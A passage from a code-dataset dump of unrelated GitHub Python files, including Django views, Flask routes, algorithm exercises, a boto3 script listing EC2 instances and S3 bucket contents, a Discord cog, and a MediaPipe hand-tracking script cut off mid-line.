############$\\n\")\nconfusionMatrix50=evaluate(test_Y,preds,0.5)\nperformance(confusionMatrix50)\nprint(confusionMatrix50)\ndraw_performance(confusionMatrix50)\n\n\n#y_final_test\nfile = open(\"106761503_1.txt\", 'w')\nfor i in range(len(y_final_test)):\n file.write(\"%d\\t%.2f\\n\"%(i+1001,y_final_test[i]))\nfile.close()\n\n#Y_FINAL\nfile = open(\"106761503_2.txt\", 'w')\nfor i in range(len(Y_FINAL)):\n if Y_FINAL[i]:\n temp=1\n else:\n temp=0\n file.write(\"%d\\t%d\\n\"%(i+1001,temp))\nfile.close()","repo_name":"say2sarwar/DeepLearning","sub_path":"hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":10107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74962342651","text":"# from rest_framework import routers\nfrom django.shortcuts import render, redirect\nfrom .models import Application\nfrom .forms import ApplicationForm\n\ndef home(request):\n application = Application.objects.all()\n num = len(application)\n context = {\n 'application': application,\n 'num': num\n } \n\n return render(request, \"main/home.html\", context)\n\n\ndef add(request):\n form = ApplicationForm()\n if request.method == \"POST\":\n form = ApplicationForm(request.POST)\n if form.is_valid():\n form.save()\n\n return redirect('/')\n \n \n return render(request, \"main/add.html\", {'form': form})\n\n\n\ndef edit(request, id):\n application = Application.objects.get(id=id)\n form = ApplicationForm(instance=application)\n context = {'form': form, 'application': application}\n if request.method == \"POST\":\n form = ApplicationForm(request.POST, instance=application)\n if form.is_valid(): \n form.save()\n \n return redirect('/')\n\n return render(request, 'main/edit.html', context)\n\n\ndef delete(request, id):\n application = Application.objects.get(id=id)\n if request.method == \"POST\":\n application.delete()\n return redirect('/')\n\n context = {'application': application}\n\n return render(request, 'main/delete.html', context)\n\n\n","repo_name":"danieldenton/tracker","sub_path":"tracker/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9207288252","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time : 2020/4/10 21:01\n# @Author : Xuegod Teacher For\n# @File : 02_read_test.py\n# @Software: PyCharm\n'''\n读取文件\n1.文件的对象是可迭代对象\n2. 讲解这个方法之前 如果我for 给你一个100g文件,你用什么方法打开?\n# open()read() 能一下读取100G boom\n\n3. readline() readlines() #读取一行\n'''\n#python3 wind gbk\nf = open('test.py','r',encoding='utf-8')\n#添加的size 汉字3-5 6个字节,字符\n# print(f.read(5))\n# print(f.read(5))\n\n# print(f.readline())\nprint(f.readlines())\n\n\n# print(f)\n# #通过for循环可以获取到文件对象中的每一行\n# for i in f:\n# print(i)\n\nf.close()\n","repo_name":"1286211699/mmc_code","sub_path":"1_11_python文件操作/02_read_test.py","file_name":"02_read_test.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23082846316","text":"from easydict import EasyDict\r\nimport torch\r\nfrom os import path, makedirs\r\n\r\n\r\nclass Config(EasyDict):\r\n def __init__(self, args):\r\n self.train_data = args.train_data\r\n self.val_data = args.val_data\r\n self.save_root = args.save_root\r\n self.model = args.model\r\n self.acc_file = args.acc_file\r\n self.loss_file = args.loss_file\r\n self.batch_size = args.batch_size\r\n self.learning_rate = args.learning_rate\r\n self.epoch = args.epoch\r\n self.rounds = args.rounds\r\n self.workers = 16\r\n self.pin_memory = True\r\n self.label_compensation_val = args.label_compensation_val\r\n self.attr_ids = args.attr_ids\r\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n self.num_out = 22\r\n self.pre_trained = args.pre_trained\r\n self.lmbda = args.lmbda\r\n self.alpha = args.alpha\r\n\r\n self.best_acc = path.join(self.save_root,\r\n f\"best_acc_labmda:{self.lmbda}_alpha:{self.alpha}_bs:{self.batch_size}_lr:{self.learning_rate}\")\r\n self.best_acc_and_p = path.join(self.save_root,\r\n f\"best_acc_and_p_labmda:{self.lmbda}_alpha:{self.alpha}_bs:{self.batch_size}_lr:{self.learning_rate}\")\r\n\r\n if not path.exists(self.best_acc):\r\n makedirs(self.best_acc)\r\n if not path.exists(self.best_acc_and_p):\r\n makedirs(self.best_acc_and_p)\r\n\r\n # predict the results separately\r\n self.out_index = [[0, 1, 2],\r\n [4, 5, 6, 7],\r\n [9, 10, 11, 12],\r\n [13, 14, 15, 16],\r\n [17, 18, 19, 20, 21],\r\n [3, 8]]\r\n self.out_list = [3, 4, 3, 3, 4, 5]\r\n # exclusive groups\r\n self.ex_given_attrs = [0, 1, 4, 5, 6, 9, 10, 11, 13, 14, 15, 17, 18, 19, 20]\r\n self.ex_groups = [[1, 2, 4, 5, 6, 7, 8, 11, 15],\r\n [2, 15],\r\n [5, 6, 7],\r\n [6, 7],\r\n [7],\r\n [10, 11, 12],\r\n [11, 12],\r\n [12],\r\n [14, 15, 16],\r\n [15, 16, 19, 20],\r\n [16, 19, 20],\r\n [18, 19, 20, 21],\r\n [19, 20, 21],\r\n [20, 21],\r\n [21]]\r\n # inclusive groups\r\n self.dep_given_attrs = [1, 2, 11, 15]\r\n self.dep_groups = [[4, 5, 6, 7, 8],\r\n [4, 5, 6, 7, 8],\r\n [1, 2],\r\n [2]]\r\n # group indexes\r\n self.group_head_tail_indexes = [0, 4, 9, 13, 17, 22]\r\n","repo_name":"HaiyuWu/LogicalConsistency","sub_path":"config_lmdb.py","file_name":"config_lmdb.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"2193191390","text":"from flask import Flask, request\nfrom utils import read_requirements_txt, making_users\n\n# 1\n\napp = Flask(__name__)\n\n@app.route('/requirements/')\ndef requirements():\n result = read_requirements_txt()\n return result\n\n\n# 2\n\n@app.route('/generate-users/')\ndef generate_users():\n users_numb = int(request.args.get('numb-of-users'))\n result = making_users(users_numb)\n return result\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')","repo_name":"topolian/flask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38901606521","text":"# -*- coding: utf-8 -*-\n# ======================================\n# @File : 766\n# @Time : 2021/2/22 14:06\n# @Author : Rivarrl\n# ======================================\nfrom algorithm_utils import *\n\nclass Solution:\n \"\"\"\n [766. 托普利茨矩阵](https://leetcode-cn.com/problems/toeplitz-matrix/)\n \"\"\"\n @timeit\n def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool:\n n, m = len(matrix), len(matrix[0])\n i, j = 0, m-1\n while i < n:\n k = matrix[i][j]\n x, y = i + 1, j + 1\n while x < n and y < m:\n if matrix[x][y] != k:\n return False\n x += 1\n y += 1\n if j > 0:\n j -= 1\n else:\n i += 1\n return True\n\nif __name__ == '__main__':\n a = Solution()\n a.isToeplitzMatrix(matrix = [[1,2,3,4],[5,1,2,3],[9,5,1,2]])\n a.isToeplitzMatrix(matrix = [[1,2],[2,2]])","repo_name":"Rivarrl/leetcode_python","sub_path":"leetcode/601-900/766.py","file_name":"766.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"35244799061","text":"import sys\nimport heapq\ninput = sys.stdin.readline\n\ndist_max = sys.maxsize\n\n\ndef dijkstra_return(edges, n_node):\n dist = [dist_max] * (n_node + 1)\n queue = []\n\n for node_next, dist_next in edges[1]:\n dist[node_next] = dist_next\n heapq.heappush(queue, (dist_next, node_next))\n \n print(queue, dist)\n\n while queue:\n dist_now, node_now = heapq.heappop(queue)\n\n if node_now == 1:\n return dist_now\n\n if dist_now > dist[node_now]:\n continue\n\n for node_next, dist_next in edges[node_now]:\n dist_next += dist_now\n if dist_next < dist[node_next]:\n dist[node_next] = dist_next\n heapq.heappush(queue, (dist_next, node_next))\n print(queue, dist)\n \n\n return -1\n\n\ndef main():\n n_node, n_edge = map(int, input().split())\n\n edges = [[] for _ in range(n_node + 1)]\n for _ in range(n_edge):\n u, v, d = map(int, input().split())\n edges[u].append((v, d))\n\n print(dijkstra_return(edges, n_node))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lapis42/boj","sub_path":"boj1956_dijkstra_return_not_an_answer.py","file_name":"boj1956_dijkstra_return_not_an_answer.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17568558891","text":"import sys\ndef dfs(x, y):\n global ck\n if ck: return\n if x>=N or y>=N: return\n if x==N-1 and y==N-1:\n ck = True\n return\n jump = area[y][x]\n if jump == 0: return\n dfs(x+jump, y)\n dfs(x, y+jump)\n\nN = int(sys.stdin.readline())\narea = []\nck = False\nfor _ in range(N):\n area.append(list(map(int, sys.stdin.readline().split())))\ndfs(0, 0)\nif ck: print(\"HaruHaru\")\nelse: print(\"Hing\")\n","repo_name":"hwayeon351/BEAKJOON-Algorithms","sub_path":"BJ16173.py","file_name":"BJ16173.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72148796733","text":"#!/usr/bin/env python3\n\nimport sys\n\n###\n# Helper method \n###\n\ndef banner(text, ch='=', length=78):\n spaced_text = ' %s ' % text\n banner = spaced_text.center(length, ch)\n return banner\n\n\n\"\"\" Objective next two piece of code is to demonstrate that using Python Boto3 library user can query AWS e2 API ( using python)\n First we will use boto3.resource method to get e2 instances information and print it in tabular format \n Second we will get same information but this time we will use boto3.client and create ec2 client to get information \"\"\"\n\nimport boto3\nfrom botocore.exceptions import NoRegionError\nfrom botocore.exceptions import ClientError\n\ntry:\n ec2 = boto3.resource('ec2')\nexcept NoRegionError as e:\n print(\"Error connecting to AWS: \" + str(e))\n msg = \"The AWS CLI is not configured.\"\n msg += \" Please configure it using instructions at\"\n msg += \" http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html\"\n print(msg);\n sys.exit()\n\n\nindex = 0;\n\n###\n# Boto3 resource call \n###\n\nprint(banner(\"\"))\nprint(banner(\"Listing EC2 instances using boto3 ec2.instances method\"))\nprint(banner(\"\"))\n\ntry:\n for instance in ec2.instances.all():\n\n if index == 0: \n print(\"{:<24} {:<14} {:<22} {:<12} {:<12} {:<12} {:<20} {:<25} {:<22} {:<44} {:<18} {:<12}\".\n format(\"Instance ID\",\"type\", \"image id\", \"State\",\"key_name\", \"vpc id\", \"subnet id\", \"security group(s)\"\n , \"private IP address\", \"private DNS name\", \"public IP address\", \"public DNS name\"))\n\n index+=1\n\n security_groups = \"N/A\" \n for SG in instance.security_groups:\n security_groups += SG['GroupName'] + \" \"\n\n pri_id,pri_dns,pbub_id,pub_dns = \"N/A\",\"N/A\",\"N/A\",\"N/A\"\n if not instance.public_ip_address is None:\n pbub_id = instance.public_ip_address\n\n if not instance.public_ip_address is None:\n pub_dns = instance.public_dns_name\n \n if not instance.private_ip_address is None:\n pri_id = instance.private_ip_address\n\n if not instance.private_ip_address is None:\n pri_dns = instance.private_dns_name\n\n #print (instance.id,instance.instance_type,instance.image_id,instance.state['Name'],instance.key_name,instance.vpc_id\n # ,instance.subnet_id,security_groups[:24],pri_id,pri_dns,pbub_id,pub_dns)\n\n print(\"{:<24} {:<14} {:<22} {:<12} {:<12} {:<12} {:<20} {:<25} {:<22} {:<44} {:<18} {:<12}\".\n format(instance.id,instance.instance_type,instance.image_id,instance.state['Name'],instance.key_name,str(instance.vpc_id)\n ,str(instance.subnet_id),security_groups[:24],pri_id,pri_dns,pbub_id,pub_dns))\n\nexcept ClientError as e:\n print(\"Error connecting to AWS : \" + str(e))\n sys.exit()\n\n###\n# Boto3 client call \n###\n\nprint(banner(\"\"))\nprint(banner(\"Listing EC2 instances using boto3 ec2.client method\"))\nprint(banner(\"\"))\n\nindex = 0;\n\nec2 = boto3.client('ec2')\nresponse = ec2.describe_instances()\n\nif len(response[\"Reservations\"]) > 0 :\n for reservation in response[\"Reservations\"]:\n for instance in reservation[\"Instances\"]: \n\n security_groups =\"N/A\"\n for SG in instance[\"SecurityGroups\"]:\n security_groups += SG[\"GroupName\"] + \" \"\n\n if index == 0: \n print(\"{:<24} {:<14} {:<22} {:<12} {:<12} {:<12} {:<20} {:<25} {:<22} {:<44} {:<18} {:<12}\".\n format(\"Instance ID\",\"type\", \"image id\", \"State\",\"key_name\", \"vpc id\", \"subnet id\", \"security group(s)\"\n , \"private IP address\", \"private DNS name\", \"public IP address\", \"public DNS name\"))\n\n index+=1\n\n print(\"{:<24} {:<14} {:<22} {:<12} {:<12} {:<12} {:<20} {:<25} {:<22} {:<44} {:<18} {:<12}\".\n format(instance[\"InstanceId\"],instance[\"InstanceType\"],instance[\"ImageId\"],instance[\"State\"][\"Name\"],instance[\"KeyName\"],instance.get(\"VpcId\",\"N/A\")\n ,instance.get(\"SubnetId\",\"N/A\"),security_groups[:24],instance.get(\"PrivateIpAddress\",\"N/A\"),instance.get(\"PrivateDnsName\",\"N/A\"),instance.get(\"PublicIpAddress\",\"N/A\"),instance.get(\"PublicDnsName\",\"N/A\")))\n\nelse:\n print(\"You don't have any EC2 instances as of now\") \n\n\n\"\"\" Objective of next two code block is same as above - but this time we will use Boto3 to get information about S3 buckets \n First we will use boto3.resource to get S3 bucket information and content of each buckets \n Second we will get same information same as boto3.client \"\"\"\n\n\ns3 = boto3.resource('s3')\n\nprint(banner(\"\"))\nprint(banner(\"Listing s3 instances using boto3 s3.instances method\"))\nprint(banner(\"\"))\n\n\n\nfor bucket in s3.buckets.all():\n\n print(\"\")\n print(\"{:<24} {:<28} {:<22} {:<12}\".\n format(\"Bucket Name\",\"CreationDate\", \"Owner\", \"OwnerID\"));\n\n print(\"{:<24} {:<28} {:<12} {:<12}\".\n format(bucket.name[:23],bucket.creation_date.strftime(\"%d %B %Y %I:%M:%S %p\"),s3.BucketAcl(bucket.name).owner[\"DisplayName\"],s3.BucketAcl(bucket.name).owner[\"ID\"]))\n\n#Print content of buckets \n print(\"\\n\\tContent of bucket [\"+ bucket.name+\"]\")\n\n for index,item in enumerate(bucket.objects.all()):\n \n if index == 0: #Print table header only once \n print(\"{:<14}{:<28} {:<12} {:<26} {:<12}\".\n format(\"\",\"Object Name\",\"Size (KB)\", \"ModifiedDate\", \"S3 Storage Class\"));\n\n print(\"{:<14}{:<28} {:<12} {:<26} {:<12}\".\n format(\"\",item.key[:28],str((item.size)/1000),item.last_modified.strftime(\"%d %B %Y %I:%M:%S %p\"),str(item.storage_class)));\n \n\n\nprint(banner(\"\"))\nprint(banner(\"Listing s3 instances using boto3 s3.client method\"))\nprint(banner(\"\"))\n\ns3 = boto3.client('s3')\nresponse = s3.list_buckets()\n\n\nif len(response[\"Buckets\"]) > 0 :\n for bucket in response[\"Buckets\"]:\n\n print(\"{:<24} {:<28} {:<12} {:<12}\".\n format(\"Bucket Name\",\"CreationDate\", \"Owner\", \"OwnerID\"));\n\n print(\"{:<24} {:<28} {:<12} {:<12}\".\n format(bucket[\"Name\"][:23],bucket[\"CreationDate\"].strftime(\"%d %B %Y %I:%M:%S %p\"),response[\"Owner\"][\"DisplayName\"],response[\"Owner\"][\"ID\"]))\n\n reply = s3.list_objects(Bucket=bucket[\"Name\"])\n\n print(\"\\n\\tContent of bucket [\"+ bucket[\"Name\"]+\"]\")\n\n\n for turn,item in enumerate(reply[\"Contents\"]):\n if turn == 0:\n print(\"{:<14}{:<28} {:<12} {:<26} {:<12}\".\n format(\"\",\"Object Name\",\"Size (KB)\", \"ModifiedDate\", \"S3 Storage Class\"));\n\n print(\"{:<14}{:<28} {:<12} {:<26} {:<12}\".\n format(\"\",item[\"Key\"][:28],str(item[\"Size\"]/1000),item[\"LastModified\"].strftime(\"%d %B %Y %I:%M:%S %p\"),str(item[\"StorageClass\"])));\nelse:\n print(\"You seems to not have any S3 buckets\")\n ","repo_name":"ishswar/aws-s3-w3","sub_path":"w5/list_instances.py","file_name":"list_instances.py","file_ext":"py","file_size_in_byte":6686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34922066311","text":"#Реализуйте алгоритм задания случайных чисел без использования встроенного генератора псевдослучайных чисел\n\nimport time\nnow = time.time()\nprint(now)\nprint(str(now).split('.')[1][0])\n\n\n#Опровержение теоремы Эйлера\nfor a in range(1, 151):\n for b in range(a,151):\n for c in range(b, 151):\n for d in range(c, 151):\n sum_1 = a ** 5 + b ** 5 + c ** 5 + d ** 5\n e = int(sum_1 ** (1/5))\n if sum_1 == e ** 5:\n print(a, b, c, d, e, \"сумма\", a+b+c+d+e)\n\n\n","repo_name":"IliyaDukhtanov/Python_HomeTasks","sub_path":"Seminar3/task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69964854971","text":"import discord\nfrom random import choice as randchoice\nfrom discord.ext import commands\n\nclass Pats:\n \"\"\"A cog that pats\"\"\"\n\n def __init__(self, bot):\n \tself.bot = bot\n\n \tself.patgif = [\n \t\"http://i.imgur.com/IiQwK12.gif\", \n \t\"http://i.imgur.com/JCXj8yD.gif\", \n \t\"http://i.imgur.com/qqBl2bm.gif\", \n \t\"http://i.imgur.com/eOJlnwP.gif\", \n \t\"https://45.media.tumblr.com/229ec0458891c4dcd847545c81e760a5/tumblr_mpfy232F4j1rxrpjzo1_r2_500.gif\", \n \t\"https://media.giphy.com/media/KZQlfylo73AMU/giphy.gif\", \n \t\"https://media.giphy.com/media/12hvLuZ7uzvCvK/giphy.gif\", \n \t\"http://gallery1.anivide.com/_full/65030_1382582341.gif\", \n \t\"https://49.media.tumblr.com/8e8a099c4eba22abd3ec0f70fd087cce/tumblr_nxovj9oY861ur1mffo1_500.gif\", \n \t\"https://i.imgur.com/L8voKd1.gif\",\n \t\"http://imgur.com/hzoLfUS.gif\", \n \t\"http://imgur.com/yo49xua.gif\", \n \t\"http://imgur.com/n6vY6Tj.gif\", \n \t\"http://imgur.com/Enedahe.gif\", \n \t\"http://imgur.com/hMpJ53w.gif\", \n \t\"http://imgur.com/40HkmUe.gif\", \n \t\"http://imgur.com/hSnItdb.gif\", \n \t\"http://imgur.com/GTMvOCt.gif\"\n \t]\n\n @commands.command(pass_context = True) #pass_context is for ctx\n async def pat(self, ctx, user : discord.Member=None):\n \t\"\"\" Gives a pat to someone or no one... \"\"\"\n \tauthor = ctx.message.author\n \tpat = randchoice(self.patgif)\n \tif user != None:\n \t\tawait self.bot.say(\"_{} pats {}_ \\n\".format(author.name, user.mention) + pat)\n \telse:\n \t\tawait self.bot.say(pat)\n\n\ndef setup(bot):\n bot.add_cog(Pats(bot))","repo_name":"jasperdanan/JasperCogs","sub_path":"pats/pats.py","file_name":"pats.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2279502736","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2020-04-12 08:01:10\n# @Author : mutudeh (josephmathone@gmail.com)\n# @Link : ${link}\n# @Version : $Id$\n\nimport os\n\nimport collections\nimport itertools\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites) :\n if numCourses<=0:\n return []\n\n # construct the graph\n\n graph = collections.defaultdict(set)\n\n for i in range(numCourses):\n graph[i]\n res = []\n for node1, node2 in prerequisites:\n graph[node2].add(node1)\n no_parent = graph.keys() - set(itertools.chain.from_iterable(graph.values()))\n\n while no_parent:\n for node in no_parent:\n res.append(node)\n graph.pop(node)\n no_parent = graph.keys() - set(itertools.chain.from_iterable(graph.values()))\n\n if graph:\n return []\n\n return res\ns = Solution()\nprint(s.findOrder( 4, [[1,0],[2,0],[3,1],[3,2]]))","repo_name":"joseph-mutu/Codes-of-Algorithms-and-Data-Structure","sub_path":"Leetcode/[210]课程表.py","file_name":"[210]课程表.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29877864258","text":"import scipy.integrate as sci\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport equations\r\nimport fluxes as fl\r\nimport pc\r\n\r\nJ_AtC = 1.256e-3\r\n\r\nclass notFound(Exception):\r\n def __init__(self):\r\n self.message = \"Not found\"\r\n\r\ndef ret_index(t, crit = 12000):\r\n for i in range(len(t)):\r\n if t[i] > crit:\r\n return i\r\n raise notFound\r\n\r\n\r\ndef main():\r\n soln = pd.read_csv(\"../results/resultsHypoxia1.csv\")\r\n\r\n for i in range(5, 35):\r\n crit = i*1000+1000\r\n crucial_index = ret_index(soln['t'].to_numpy(), crit = crit)\r\n state_time = np.delete(soln.loc[crucial_index, ].to_numpy(), [0, 1])\r\n flux_time = fl.fluxes(state_time, param = pc.params, ExpType = 1)\r\n #print(flux_time)\r\n\r\n Rm_cyto = 0.25/0.72\r\n\r\n ATPfl = [-Rm_cyto*flux_time[pc.pcFl.J_ATP],\r\n flux_time[pc.pcFl.J_CKe],\r\n flux_time[pc.pcFl.J_AKe],\r\n -(1.63*J_AtC)*(state_time[pc.pcIS.iATP_c]/(1.486e-3+state_time[pc.pcIS.iATP_c]))]\r\n ## See what the balance is between the main driver of ATP flux\r\n print(ATPfl[0]+ATPfl[3])\r\n\r\nmain()","repo_name":"TWilliamBell/mitochondrialModel","sub_path":"nephronScripts/modelScripts/fluxHypoxiaPT.py","file_name":"fluxHypoxiaPT.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"30108114878","text":"from collections import deque\n\n# 왼, 왼위, 위, 오위, 오, 오아, 아, 왼아\ndr = [0, 0, -1, -1, -1, 0, 1, 1, 1]\ndc = [0, -1, -1, 0, 1, 1, 1, 0, -1]\n\n# 왼위, 오위, 오아, 왼아\ndrr = [-1,-1,1,1]\ndcc = [-1,1,1,-1]\n\ndef action(d,s):\n # print(cloud)\n # 구름 이동\n next_cloud = deque()\n # check_cloud = deque()\n while cloud:\n cr,cc = cloud.popleft()\n nr = cr + dr[d] * s\n nc = cc + dc[d] * s\n if nr < 0:\n while nr < 0:\n nr += n\n elif nr >= n:\n while nr >= n:\n nr -= n\n if nc < 0:\n while nc < 0:\n nc += n\n elif nc >= n:\n while nc >= n:\n nc -= n\n # 구름 이동 후 비 1씩 내리기.\n # print(\"이동\")\n # print(d,s)\n # print(cr,cc,nr,nc)\n basket[nr][nc] += 1\n visited[nr][nc] = 1\n next_cloud.append([nr,nc])\n # check_cloud.append([nr,nc])\n \n # 대각선 체크해서 물 더하기\n while next_cloud:\n cr,cc = next_cloud.popleft()\n cnt = 0\n for i in range(4):\n nr = cr + drr[i]\n nc = cc + dcc[i]\n if 0 <= nr < n and 0 <= nc < n:\n if basket[nr][nc]:\n cnt += 1\n basket[cr][cc] += cnt\n \n # 구름 만들기\n for i in range(n):\n for j in range(n):\n if basket[i][j] >= 2 and not visited[i][j]:\n cloud.append([i,j])\n basket[i][j] -= 2\n \n\n\nn,m = map(int,input().split())\n\n# 하늘\nbasket = []\nfor _ in range(n):\n basket.append(list(map(int,input().split())))\n\n# 구름 이동 명령\ncommand = []\nfor _ in range(m):\n d,s = map(int,input().split())\n command.append([d,s])\n\n# 실행 ㄱㄱ\nwater = 0\ncloud = deque()\ncloud.append([n-1,0])\ncloud.append([n-1,1])\ncloud.append([n-2,0])\ncloud.append([n-2,1])\nfor i in range(m):\n visited = [[0 for _ in range(n)] for _ in range(n)]\n action(command[i][0], command[i][1])\n # print(basket)\n\nfor i in range(n):\n for j in range(n):\n if basket[i][j]:\n water += basket[i][j]\nprint(water)","repo_name":"hs-ryu/TIL","sub_path":"python/알고리즘/baek/구현/21610_마법사상어와비바라기.py","file_name":"21610_마법사상어와비바라기.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43398877705","text":"import math\r\ndef add_time(a,b,c=None):\r\n \r\n \r\n days = ['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday']\r\n \r\n a = a.split(\" \")\r\n ans = []\r\n b = [int(b.split(':')[0]),int(b.split(':')[1])]\r\n if (a[1]=='PM'):\r\n a = [int(a[0].split(':')[0])+12,int(a[0].split(':')[1])]\r\n else :\r\n a = [int(a[0].split(':')[0]),int(a[0].split(':')[1])]\r\n \r\n ans = [a[0]+b[0],a[1]+b[1]]\r\n if(ans[1]>=60):\r\n ans[0] += 1\r\n ans[1] -= 60\r\n \r\n count = math.floor(ans[0]/24)\r\n\r\n if(ans[0]>=24):\r\n ans[0] %= 24\r\n\r\n if(ans[0]>=12):\r\n clock = 'PM'\r\n else:\r\n clock = 'AM'\r\n\r\n if ans[0]==0 :\r\n ans[0] = 12\r\n\r\n if ans[0]>12 :\r\n ans[0] -= 12\r\n\r\n ans[0] = str(ans[0])\r\n\r\n if(ans[1]>10):\r\n ans[1] = str(ans[1])\r\n else:\r\n ans[1] = '0'+str(ans[1])\r\n \r\n answer = ':'.join(ans)+' '+clock\r\n\r\n if c:\r\n c = c.capitalize()\r\n d = days.index(c)+count\r\n d %=7\r\n answer += ', '+days[d]\r\n \r\n if count==0 :\r\n return answer\r\n elif count==1:\r\n return answer+' (next day)'\r\n else:\r\n return answer+' ('+str(count)+' days later)'\r\n","repo_name":"im-adithya/Time-Calculator","sub_path":"add_time.py","file_name":"add_time.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1163851997","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 6 22:02:32 2016\n\n@author: mehdinassih\n\"\"\"\n\nimport nltk\n\ntext = \"AS THE PALATOFIRM EXPANDS SAND IS SUED BY OTHER OPRIDUYETS THERE MAY BE A FICUS\"\nlowertext = nltk.word_tokenize(text.lower())\n\nfor word in lowertext:\n if not wordnet.synsets(word) and word not in stopwords.words('english'):\n print(word)\n\n\n","repo_name":"nareshshah139/IE-Group-D-Term3","sub_path":"NLP/Exercise-1/SpellCheck.py","file_name":"SpellCheck.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"75145948731","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest.lib import decorators\n\nfrom senlin_tempest_plugin.common import utils\nfrom senlin_tempest_plugin.tests.api import base\n\n\nclass TestNodeDelete(base.BaseSenlinAPITest):\n\n def setUp(self):\n super(TestNodeDelete, self).setUp()\n profile_id = utils.create_a_profile(self)\n self.addCleanup(utils.delete_a_profile, self, profile_id)\n\n self.node_id = utils.create_a_node(self, profile_id)\n\n @decorators.idempotent_id('29b18f65-2e0e-4a61-b00a-e5803365525b')\n def test_node_delete(self):\n # Delete test node\n res = self.client.delete_obj('nodes', self.node_id)\n\n # Verify resp code, body and location in headers\n self.assertEqual(202, res['status'])\n self.assertIsNone(res['body'])\n self.assertIn('actions', res['location'])\n\n action_id = res['location'].split('/actions/')[1]\n self.client.wait_for_status('actions', action_id, 'SUCCEEDED')\n","repo_name":"openstack/senlin-tempest-plugin","sub_path":"senlin_tempest_plugin/tests/api/nodes/test_node_delete.py","file_name":"test_node_delete.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"70639332413","text":"import cv2\r\nimport mediapipe as mp\r\nimport speech_recognition as sr\r\nimport serial\r\nimport time\r\n\r\nclass handDetector():\r\n def __init__(self, mode=False, maxHands=2, detectionCon=1, trackCon=1):\r\n self.mode = mode\r\n self.maxHands = maxHands\r\n self.detectionCon = detectionCon\r\n self.trackCon = trackCon\r\n\r\n self.mpHands = mp.solutions.hands\r\n self.hands = self.mpHands.Hands(static_image_mode=False,\r\n max_num_hands=2,\r\n min_detection_confidence=0.5,\r\n min_tracking_confidence=0.5)\r\n self.mpDraw = mp.solutions.drawing_utils\r\n\r\n def findHands(self, img, draw=True):\r\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n self.results = self.hands.process(imgRGB)\r\n # print(results.multi_hand_landmarks)\r\n\r\n if self.results.multi_hand_landmarks:\r\n for handLms in self.results.multi_hand_landmarks:\r\n if draw:\r\n self.mpDraw.draw_landmarks(img, handLms, self.mpHands.HAND_CONNECTIONS)\r\n return img\r\n\r\n def findPosition(self, img, handNo=0, draw=True):\r\n\r\n lmlist = []\r\n if self.results.multi_hand_landmarks:\r\n myHand = self.results.multi_hand_landmarks[handNo]\r\n for id, lm in enumerate(myHand.landmark):\r\n h, w, c = img.shape\r\n cx, cy = int(lm.x * w), int(lm.y * h)\r\n lmlist.append([id, cx, cy])\r\n if draw:\r\n cv2.circle(img, (cx, cy), 7, (255, 0, 255), cv2.FILLED)\r\n return lmlist\r\ncap = cv2.VideoCapture(0) \r\ndetector = handDetector()\r\narduino = 